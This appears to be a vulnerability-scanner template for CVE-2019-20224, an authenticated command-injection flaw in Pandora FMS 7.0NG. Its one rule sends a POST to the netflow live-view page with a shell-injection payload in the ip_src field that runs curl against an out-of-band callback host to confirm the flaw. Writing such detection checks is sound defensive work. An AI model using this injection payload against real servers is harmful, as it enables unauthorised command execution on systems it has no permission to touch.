CVE-2019-20224: PandoraFMS v7.0NG Post-auth Remote Code Execution

id: CVE-2019-20224

info:
  name: PandoraFMS v7.0NG Post-auth Remote Code Execution
  author: zan8in
  severity: critical
  verified: true
  description: |-
    Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ip_src parameter in an index.php?operation/netflow/nf_live_view request.
    Fofa: app="PANDORAFMS-产品"
  reference:
    - https://avd.aliyun.com/detail?id=AVD-2019-20224
    - https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/
    - https://gist.github.com/mhaskar/2153d66a0928492d76b799ba13b9e3f9
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20224
    - https://drive.google.com/file/d/1DkWR5MylzeNr20jmHXTaAIJmf3YN-lnO/view
    - https://pandorafms.com/downloads/solved-pandorafms-742.mp4
  tags: cve,cve2019,pandorafms,rce
  created: 2024/02/27

set:
  oob: oob()
  oobHTTP: oob.HTTP
rules:
  r0:
    request:
      method: POST
      path: /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0
      body: |
        date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{oobDNS}}+%23&draw_button=Draw
    expression: oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.